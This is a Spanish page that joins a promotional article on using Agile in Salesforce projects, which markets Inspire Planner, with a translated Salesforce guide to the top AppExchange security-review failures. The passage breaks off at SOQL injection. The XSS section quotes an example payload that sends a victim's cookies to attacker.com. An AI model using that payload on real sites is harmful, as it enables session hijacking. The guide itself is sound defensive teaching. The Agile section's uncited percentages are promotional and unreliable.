  • Velocidad: Con Agile en Salesforce, los proyectos se dividen en fases cortas de sprint, cada una de las cuales da como resultado un resultado tangible o una parte del producto final. Este enfoque modular acelera el proceso de desarrollo, garantizando una entrega m谩s r谩pida que los m茅todos tradicionales, donde todo el proyecto se aborda como una tarea enorme. Alrededor del 6,2% opta por sprints de una semana, manteniendo sus ciclos cortos y din谩micos, mientras que la mayor铆a de los equipos (59,1%) prefiere sprints de 2 semanas.
  • Flexibilidad: Agile permite a los equipos incorporar estos cambios sin problemas en el proyecto en curso a medida que evolucionan las necesidades de los procesos de negocio o surgen nuevos requisitos. Esto garantiza que el producto final siempre se alinee con los objetivos comerciales actuales y las necesidades de los usuarios. La flexibilidad de Agile lo hace un 37% m谩s r谩pido y un 16% m谩s productivo que el modelo de desarrollo de proyectos convencional.
  • Participaci贸n del cliente: Agile enfatiza la colaboraci贸n y la comunicaci贸n abierta. Los clientes o partes interesadas participan durante todo el proceso de desarrollo y brindan retroalimentaci贸n peri贸dica despu茅s de cada sprint. Esta participaci贸n continua garantiza que el producto se desarrolle seg煤n sus expectativas, lo que reduce las posibilidades de sorpresas de 煤ltimo momento o revisiones importantes. Se pueden realizar cambios inmediatamente si hay obst谩culos o defectos en el camino, lo que convierte a Agile en un modelo ideal para muchos equipos de diversas industrias.
  • Calendario y costos predecibles: la naturaleza de Agile, combinada con su 茅nfasis en la planificaci贸n y las revisiones peri贸dicas, facilita la estimaci贸n de cronogramas y presupuestos. Cada sprint tiene una duraci贸n y un alcance definidos, lo que permite a los equipos predecir mejor los costos del proyecto y las fechas de entrega. Los sprints suelen durar entre una y cuatro semanas, lo que permite a los equipos ofrecer nuevas funciones r谩pidamente y con una fuente de alta previsibilidad.

C贸mo Agile en Salesforce mejora la gesti贸n de proyectos

El verdadero potencial de Salesforce s贸lo puede desbloquearse si se combina con un enfoque de gesti贸n de proyectos adaptativo. As铆 es como Agile amplifica la eficacia de la entrega de proyectos de Salesforce:

  • Desarrollo iterativo y retroalimentaci贸n: Agile lo coloca a la vanguardia, a diferencia de los modelos tradicionales, donde la retroalimentaci贸n suele ser una ocurrencia tard铆a. Agile en Salesforce permite adaptaciones r谩pidas basadas en los comentarios de las partes interesadas al dividir el proyecto en sprints m谩s peque帽os y manejables. Seg煤n una encuesta del Project Management Institute, el 71% de las empresas adoptan Agile, lo que destaca su amplia aceptaci贸n y eficacia.
  • Colaboraci贸n y comunicaci贸n: Agile no es solo una metodolog铆a; es una cultura. Mejora un entorno de comunicaci贸n abierta, garantizando que todos los miembros del equipo, desde los desarrolladores hasta las partes interesadas, est茅n en sinton铆a. Esta colaboraci贸n mejorada garantiza que la implementaci贸n de Salesforce sea integral y atienda todas las facetas del negocio. Desarrollar una cultura 谩gil s贸lida en su organizaci贸n puede aumentar el rendimiento comercial en un 237 %.
  • Transparencia: una de las caracter铆sticas destacadas de Agile es su 茅nfasis en la visibilidad. Herramientas como los tableros Kanban y los gr谩ficos de evoluci贸n ofrecen a las partes interesadas una vista en tiempo real del progreso del proyecto. Esta transparencia garantiza la rendici贸n de cuentas y permite intervenciones oportunas si el proyecto se desv铆a de su curso. Agile en Salesforce puede mejorar la transparencia del proyecto en un 40%.
  • Gesti贸n de riesgos: los riesgos son inevitables en el ajetreado mundo de las implementaciones de Salesforce. Sin embargo, con su enfoque iterativo, Agile permite la identificaci贸n temprana de posibles obst谩culos. Al abordar los problemas de frente, Agile en Salesforce garantiza que los riesgos se identifiquen y mitiguen r谩pidamente. El 31% de las empresas ha adoptado Agile para reducir los riesgos.
  • Mejora continua: la complacencia no tiene cabida en Agile. Despu茅s de cada sprint, los equipos realizan retrospectivas, analizando qu茅 sali贸 bien y qu茅 no. Estos conocimientos allanan el camino para la optimizaci贸n de procesos, garantizando que el equipo evolucione y mejore. Seg煤n Hexacta, adoptar una mentalidad de mejora continua en el desarrollo 谩gil ayuda a mejorar la productividad del equipo y mejora la innovaci贸n.
Registro de riesgos del proyecto en Inspire Planner, una aplicaci贸n de gesti贸n de proyectos nativa de Salesforce

Implementaci贸n de Agile en proyectos de Salesforce

La integraci贸n de metodolog铆as 谩giles en proyectos de Salesforce puede cambiar las reglas del juego para las implementaciones de CRM. Aqu铆 hay una gu铆a de 4 pasos para incorporar Agile a la perfecci贸n en sus esfuerzos de Salesforce:

Configurar equipos para Agile en Salesforce

La base de cualquier proyecto Agile exitoso radica en su equipo. Para los proyectos de Salesforce, hay miembros responsables de tareas espec铆ficas.

  • Propietario del producto: el propietario del producto establece la visi贸n del proyecto, prioriza las tareas y alinea el equipo con los objetivos comerciales.
  • Scrum Master: Actuando como facilitador, el Scrum Master garantiza que se sigan los procesos 谩giles, aborda cualquier impedimento que el equipo pueda enfrentar y fomenta un entorno colaborativo.
  • Equipo de desarrollo: compuesto por desarrolladores, arquitectos y otros especialistas de Salesforce, este grupo es responsable de la implementaci贸n real, asegurando que cada sprint entregue resultados tangibles.

Herramientas y plataformas

Los usuarios de Salesforce pueden encontrar varias herramientas nativas de gesti贸n de proyectos para ayudar en la implementaci贸n 谩gil. Herramientas como Inspire Planner pueden ser invaluables, ya que ofrecen funciones que se alinean con los principios 谩giles, como:

  • Reserva
  • tableros kanban
  • Planificaci贸n de sprints
  • Seguimiento del tiempo
  • Administracion de recursos
  • Informes 谩giles y paneles de control

Inspire Planner es una aplicaci贸n de gesti贸n de proyectos 100 % nativa de Salesforce que es totalmente compatible con Agile en Salesforce desde el primer momento y cuenta con una alta calificaci贸n de sus clientes con m谩s de 140 rese帽as de 5 estrellas en AppExchange. Con esta herramienta, puede gestionar f谩cilmente los trabajos pendientes de productos, planificar sprints, realizar un seguimiento de los puntos de la historia, visualizar el trabajo mediante tableros Kanban, gestionar recursos y analizar el progreso con gr谩ficos de evoluci贸n.

Dado que Inspire Planner se encuentra dentro de su organizaci贸n de Salesforce, puede vincular directamente sus historias de usuario o tareas a cualquier registro de Salesforce, como Oportunidades, Casos y Cuentas, incluidos registros de sus objetos personalizados.

Adem谩s, Inspire Planner tambi茅n ofrece una funcionalidad avanzada pero intuitiva de gesti贸n de proyectos en cascada. Al combinar las metodolog铆as Waterfall y Agile en un solo paquete con un solo costo de suscripci贸n, Inspire Planner es la aplicaci贸n para todas sus necesidades de gesti贸n de proyectos en Salesforce.

Tablero Kanban en Inspire Planner, una herramienta de gesti贸n de proyectos nativa de SalesforceTablero Kanban en Inspire Planner, una herramienta de gesti贸n de proyectos nativa de Salesforce

Planificaci贸n de Sprint, reuniones diarias y revisiones de Sprint

En el contexto de Salesforce, estas ceremonias Agile son importantes para su proceso de gesti贸n de proyectos:

  • Planificaci贸n de Sprint: Dadas las vastas capacidades de Salesforce, definir objetivos claros para cada sprint es crucial, asegurando que los esfuerzos del equipo se dirijan hacia tareas de alta prioridad.
  • Reuniones diarias: estas breves reuniones permiten al equipo analizar el progreso, abordar los obst谩culos y garantizar que la implementaci贸n de Salesforce siga por buen camino.
  • Revisiones de Sprint: despu茅s de cada sprint, es esencial revisar el trabajo realizado, recopilar comentarios y garantizar que las funcionalidades implementadas de Salesforce se alineen con las necesidades comerciales.

Ceremonias de adaptaci贸n a los desaf铆os relacionados con Agile en Salesforce

Cada plataforma tiene desaf铆os 煤nicos y Salesforce no es una excepci贸n. Las ceremonias 谩giles pueden necesitar ligeras adaptaciones. Puede estar relacionado con personalizaciones espec铆ficas de Salesforce, integraciones con aplicaciones no nativas o la gesti贸n de los ciclos de lanzamiento regulares de Salesforce.

Por ejemplo, la duraci贸n de los sprints puede variar seg煤n los ciclos de lanzamiento de Salesforce, o las retrospectivas pueden incluir discusiones sobre herramientas y mejores pr谩cticas espec铆ficas de Salesforce.

Mejores pr谩cticas para introducir Agile en Salesforce

Fusionar el mundo de las metodolog铆as 谩giles con las implementaciones de Salesforce puede desbloquear eficiencias y resultados incomparables. Sin embargo, se deben arraigar ciertas mejores pr谩cticas para aprovechar plenamente el potencial de esta sinergia.

Estas son algunas de las mejores pr谩cticas que puede probar:

Capacitaci贸n y mejora de equipos en pr谩cticas 谩giles

Antes de sumergirse en las aguas de Agile, es imprescindible que el equipo est茅 bien equipado para nadar. Esto significa invertir en sesiones de capacitaci贸n integrales que presenten a los miembros del equipo los principios b谩sicos de Agile.

Ya sea que se trate de comprender la importancia de los sprints, el papel de un Scrum Master o los matices de las retrospectivas, un equipo bien capacitado puede afrontar f谩cilmente los desaf铆os de las implementaciones de Salesforce. Adem谩s, las sesiones peri贸dicas de mejora de habilidades pueden garantizar que el equipo se mantenga actualizado con las 煤ltimas metodolog铆as 谩giles y aplicaciones 谩giles para Salesforce.

Garantizar canales de comunicaci贸n claros entre los expertos de Salesforce y los profesionales 谩giles

La comunicaci贸n clara es el puente que conecta los mundos Agile y Salesforce. Con su profundo conocimiento de la plataforma, los expertos de Salesforce deben dialogar constantemente con profesionales 谩giles que aportan experiencia en metodolog铆a.

Esto garantiza que los procesos 谩giles se adapten a las demandas 煤nicas de Salesforce. Las reuniones peri贸dicas, las sesiones frecuentes de retroalimentaci贸n y los canales de comunicaci贸n abiertos pueden evitar desajustes y garantizar que el proyecto siga encaminado.

Revisar y adaptar peri贸dicamente el proceso 谩gil para adaptarlo al entorno de Salesforce

A medida que avanzan los proyectos de Salesforce, es fundamental revisar y perfeccionar los procesos 谩giles continuamente. Esto podr铆a significar ajustar la duraci贸n de los sprints para alinearse con los ciclos de lanzamiento de Salesforce, incorporar herramientas espec铆ficas de Salesforce en el conjunto de herramientas Agile o incluso ajustar la estructura del equipo para adaptarse mejor a las demandas del proyecto.

Las retrospectivas peri贸dicas pueden ofrecer informaci贸n sobre 谩reas de mejora, garantizando que el proceso Agile permanezca optimizado para el entorno de Salesforce.

Posibles desaf铆os de Agile en Salesforce y Soluciones

Combinar metodolog铆as 谩giles con implementaciones de Salesforce, si bien es prometedor, es un desaf铆o. Sin embargo, estos desaf铆os pueden abordarse eficazmente con previsi贸n y planificaci贸n estrat茅gica.

脡stos son algunos de los posibles obst谩culos y c贸mo superarlos:

Resistencia al cambio de las metodolog铆as tradicionales

  • Desaf铆o: Los equipos acostumbrados a las metodolog铆as tradicionales de gesti贸n de proyectos pueden encontrar desalentador el cambio a Agile. El miedo a lo desconocido y la comodidad de los procesos familiares pueden generar resistencia.
  • Soluci贸n: La gesti贸n del cambio es clave. Comience con sesiones de concientizaci贸n que destaquen los beneficios de Agile, especialmente en el contexto de las implementaciones de Salesforce. Los talleres pr谩cticos, las historias de 茅xito y los proyectos piloto pueden ayudar a los equipos a realizar una transici贸n sin problemas. Tener defensores del cambio dentro del equipo puede generar un sentimiento positivo y fomentar la adopci贸n.

Alinear sprints 谩giles con los ciclos de lanzamiento de Salesforce

  • Desaf铆o: los ciclos de lanzamiento de Salesforce a veces pueden alinearse con los sprints 谩giles. Esto puede provocar problemas de sincronizaci贸n, donde es posible que se publiquen nuevas funciones de Salesforce a mitad del sprint.
  • Soluci贸n: La planificaci贸n estrat茅gica es esencial. Los equipos deben conocer el calendario de lanzamientos de Salesforce y planificar sus sprints en consecuencia. Si se anticipa un lanzamiento de Salesforce durante un sprint, se deben tomar medidas para acomodarlo. Esto podr铆a significar sprints m谩s cortos o alinear sprints espec铆ficos en torno a versiones de Salesforce para explorar e integrar nuevas funciones.

Garantizar la calidad en los ciclos r谩pidos de desarrollo

  • Desaf铆o: La naturaleza iterativa de Agile significa ciclos de desarrollo r谩pidos. Si bien esto garantiza una entrega m谩s r谩pida, a veces puede comprometer la calidad, especialmente cuando se intenta aprovechar las amplias capacidades de Salesforce.
  • Soluci贸n: el control de calidad debe integrarse en cada sprint. Las herramientas de prueba automatizadas, la integraci贸n continua y las revisiones peri贸dicas del c贸digo pueden garantizar que la calidad no se vea comprometida. Adem谩s, dedicar sprints espec铆ficos o partes de sprints a controles de calidad, especialmente despu茅s de importantes personalizaciones de Salesforce, puede garantizar un producto final s贸lido.

Pensamientos finales

La fusi贸n de metodolog铆as 谩giles con la entrega de proyectos de Salesforce presagia una nueva era en las implementaciones de CRM. Esta sinergia promete tanto eficiencia como un nivel de adaptabilidad y capacidad de respuesta del que a menudo carecen las metodolog铆as tradicionales.

Vemos un testimonio de este potencial transformador cuando reflexionamos sobre herramientas como Inspire Planner.

  • Encapsula la esencia de Agile dentro del ecosistema de Salesforce.
  • Garantiza que los proyectos se completen y realmente resuenen con los objetivos comerciales.

Adoptar Agile para las implementaciones de Salesforce no es solo una recomendaci贸n sino un imperativo estrat茅gico. A medida que la industria contin煤a evolucionando, la capacidad de adaptarse e iterar r谩pidamente definir谩 el 茅xito.

Al integrar Agile en los proyectos de Salesforce, las organizaciones pueden asegurarse de seguir el ritmo de esta evoluci贸n y mejorar la colaboraci贸n. El futuro llama y es 谩gil.

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Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Las 20 principales vulnerabilidades encontradas en la revisi贸n de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisi贸n de seguridad de AppExchange es uno de los procesos de revisi贸n m谩s rigurosos de cualquier mercado de aplicaciones en l铆nea. Esta estricta reputaci贸n es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor n煤mero uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los m谩s altos est谩ndares de seguridad posibles para la protecci贸n de los datos de los clientes.

Dicho esto, estos est谩ndares pueden representar un desaf铆o importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener 茅xito, en orden de prevalencia, esta publicaci贸n analizar谩 las 20 razones principales por las que los socios no pasan la revisi贸n de seguridad (a partir de 2023). Tambi茅n cubriremos c贸mo remediar o prevenir estos problemas.

#1 鈥 Aplicaci贸n de CRUD/FLS

驴Qu茅 es esto?

Las vulnerabilidades de aplicaci贸n de la seguridad a nivel de objetos y campos (CRUD/FLS) son la raz贸n principal (por un margen significativo) para no pasar la revisi贸n de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene alg煤n c贸digo de Salesforce, este problema debe ser su prioridad n煤mero uno a resolver antes de enviarlo para una revisi贸n de seguridad.

驴C贸mo puedo abordar esto?

Si, durante su proceso de codificaci贸n, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querr谩 hacer una revisi贸n muy exhaustiva de su c贸digo base para asegurarse de que no est茅 realizar cualquier operaci贸n de creaci贸n/lectura/actualizaci贸n/eliminaci贸n no marcada en objetos o campos.

El m茅todo preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer a煤n no lo admiten completamente (al momento de escribir esta publicaci贸n, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protecci贸n arrojar谩 falsos positivos). Code Analyzer Graph Engine es actualmente la 煤nica herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentaci贸n para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, m茅todos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensi贸n PMD para VS Code pueden ser 煤tiles herramientas que puede utilizar para comprobar su c贸digo base. Puede seguir nuestra gu铆a para obtener m谩s informaci贸n sobre c贸mo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El esc谩ner Checkmarx debe utilizarse como verificaci贸n final de violaciones de CRUD/FLS. Puede ejecutar este an谩lisis a trav茅s del Portal de seguridad para socios .

Obtenga m谩s informaci贸n sobre la aplicaci贸n de CRUD/FLS en Trailhead .

#2 鈥 Versi贸n de software insegura

驴Qu茅 es esto?

Esto significa que alguna pieza de software (normalmente, una versi贸n espec铆fica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayor铆a de las veces, es porque est谩s usando una versi贸n desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la m谩s com煤n), pero tambi茅n podr铆a ser algo as铆 como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

驴C贸mo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnolog铆as que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de c贸digo abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas p煤blicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. Tambi茅n puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su c贸digo base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentaci贸n de falsos positivos para argumentar que un CVE particular registrado no podr铆a aplicarse a su oferta, ya que quiz谩s no est茅 utilizando la funcionalidad asociada con ese CVE.

#3 鈥 Violaci贸n al compartir

驴Qu茅 es esto?

B谩sicamente, esto significa que tiene clases de Apex en las que no ha agregado expl铆citamente la palabra clave with sharing al encabezado de la clase, omitiendo as铆 las reglas de uso compartido de una organizaci贸n.

驴C贸mo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y aseg煤rese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicaci贸n a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede a煤n m谩s claro).

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Obtenga m谩s informaci贸n sobre c贸mo compartir el cumplimiento a trav茅s de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

驴Qu茅 es esto?

Los secretos no deben estar codificados en el c贸digo fuente. Aunque el c贸digo puede estar contenido en un paquete administrado donde el c贸digo est谩 oculto para los clientes, todav铆a existen razones por las que esta es una pr谩ctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podr谩 actualizarlo por s铆 mismo.

驴C贸mo puedo abordar esto?

Aseg煤rese de que no haya secretos codificados en el c贸digo fuente, incluso si es un paquete administrado. Aseg煤rese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso espec铆fico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuraci贸n personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga m谩s informaci贸n sobre el almacenamiento seguro de secretos en Trailhead .

#5 鈥 Configuraci贸n TLS/SSL

驴Qu茅 es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es v谩lido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si est谩n en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

驴C贸mo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisi贸n de seguridad ejecutar谩 este an谩lisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su soluci贸n. Si sus terminales no reciben una calificaci贸n A por cumplimiento de SSL/TLS, su revisi贸n de seguridad no ser谩 aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar m谩s detalles sobre los requisitos de TLS en las notas de la versi贸n .

#6 鈥 Informaci贸n confidencial en depuraci贸n

驴Qu茅 es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra informaci贸n confidencial, como secretos de aplicaciones, datos del sistema o informaci贸n de depuraci贸n demasiado detallada, a trav茅s de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado est谩 habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisi贸n de seguridad de AppExchange.

驴C贸mo puedo abordar esto?

En su paquete de Salesforce, aseg煤rese de buscar en su c贸digo fuente todas las declaraciones de depuraci贸n del paquete para asegurarse de que no registren informaci贸n confidencial o secretos.

Aseg煤rese de que los c贸digos de error y los mensajes de error en toda su soluci贸n tengan un nivel de informaci贸n apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deber铆an ver seguimientos de pila completos ni informaci贸n de depuraci贸n detallada. De manera similar, aseg煤rese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los esc谩neres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP tambi茅n pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga m谩s informaci贸n sobre c贸mo verificar los seguimientos de la pila e informaci贸n detallada sobre las excepciones en el n煤mero 13.

#7 – CSRF

驴Qu茅 es esto?

La falsificaci贸n de solicitudes entre sitios (CSRF) es un tipo de ataque que enga帽a a una v铆ctima para que ejecute acciones no deseadas en una aplicaci贸n web en la que est谩 autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente da帽inas, como cambiar direcciones de correo electr贸nico y contrase帽as, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protecci贸n mientras se utilizan controladores y m茅todos est谩ndar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios m茅todos de acci贸n.

驴C贸mo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores 煤nicos y espec铆ficos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Adem谩s, deben adoptar la pr谩ctica de cookies del mismo sitio, que impide que el navegador env铆e la cookie junto con solicitudes entre sitios, mitigando as铆 los riesgos de CSRF.

Para p谩ginas de Visualforce:

  • Al crear p谩ginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones autom谩ticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la p谩gina.
  • Otra t茅cnica de mitigaci贸n implica agregar una p谩gina de confirmaci贸n intermedia antes de realizar la acci贸n, donde el usuario puede confirmar que ten铆a la intenci贸n de realizar esa acci贸n.

Para componentes Lightning:

  • De manera similar a las p谩ginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que tambi茅n desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad m谩s complicados, por lo que vale la pena invertir en aprender m谩s sobre 茅l en profundidad. Para los paquetes de Salesforce, existe excelente documentaci贸n para desarrolladores y un m贸dulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentaci贸n de OWASP .

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.潞 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

驴Qu茅 es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyecci贸n en los que se insertan secuencias de comandos da帽inas en sitios web confiables. Ocurren cuando un atacante explota una aplicaci贸n web para enviar c贸digo malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesi贸n u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la p谩gina.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicaci贸n web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta c贸digo malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicaci贸n podr铆a ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una p谩gina sin validarlas adecuadamente (para garantizar que no contenga c贸digo/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • P谩ginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificaci贸n de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=鈥漨anual鈥 o el componente lightning:formattedRichText sin la validaci贸n de entrada adecuada.
  • Par谩metros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una p谩gina sin validaci贸n (lo que lleva a XSS reflejado).

驴C贸mo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulaci贸n de DOM, pero tambi茅n recomendamos practicar el filtrado de entrada y la codificaci贸n de salida, que incluyen:

  • Evite la manipulaci贸n del modelo de objetos de documento (DOM): en su lugar, utilice t茅cnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: aseg煤rese de que la entrada del usuario no contenga c贸digo ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres com煤nmente utilizados en el c贸digo, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, par茅ntesis u operadores matem谩ticos o l贸gicos como '+', '&' o '-')
  • Codificaci贸n de salida : aseg煤rese de que si el c贸digo ejecutable pasara el filtrado de entrada, no se interprete como c贸digo al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este m贸dulo de Trailhead explica exactamente c贸mo mitigar XSS con estas t茅cnicas, y nuestra documentaci贸n para desarrolladores tambi茅n es 煤til aqu铆. Para obtener consejos espec铆ficos sobre la protecci贸n contra XSS en componentes Lightning, consulte la p谩gina Seguridad Lightning en la Gu铆a de codificaci贸n segura.

Para aplicaciones web que no son de Salesforce, tambi茅n puede consultar la documentaci贸n de OWASP para obtener consejos adicionales.

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

#9: JavaScript no est谩 en recursos est谩ticos

驴Qu茅 es esto?

Muchos paquetes administrados por Salesforce no pasan la revisi贸n de seguridad por no almacenar JavaScript como recursos est谩ticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La raz贸n principal de esta regla es que permite un control de versiones mucho m谩s seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa est谩 comprometida.

驴C贸mo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos est谩ticos y luego cargarse con una etiqueta <apex:includeScript> en su p谩gina (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los m贸dulos JavaScript que importe a su componente o use la funci贸n loadScript para cargar un archivo JavaScript de recursos est谩ticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su c贸digo fuente para asegurarse de que todas las bibliotecas de JavaScript est茅n almacenadas como recursos est谩ticos, no cargadas din谩micamente a trav茅s de hiperv铆nculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina t茅cnica para analizar su caso de uso. Es posible obtener una excepci贸n en ciertos casos.

Obtenga m谩s informaci贸n sobre este problema en nuestra documentaci贸n para desarrolladores .

#10 鈥 Inyecci贸n SOQL

驴Qu茅 es esto?

La inyecci贸n SOQL es la versi贸n espec铆fica de Salesforce de la inyecci贸n SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL din谩mica. Si la entrada no est谩 validada, puede incluir comandos SOQL que modifican efectivamente la declaraci贸n SOQL y enga帽an a la aplicaci贸n para que ejecute comandos no deseados.

驴C贸mo puedo abordar esto?

La forma m谩s sencilla de evitar el problema es evitar consultas din谩micas en favor de consultas est谩ticas y utilizar variables vinculantes. De lo contrario, deber谩 validar estrictamente las entradas del usuario antes de usarlas en consultas mediante t茅cnicas como encasillamiento, lista blanca de entradas o escape.

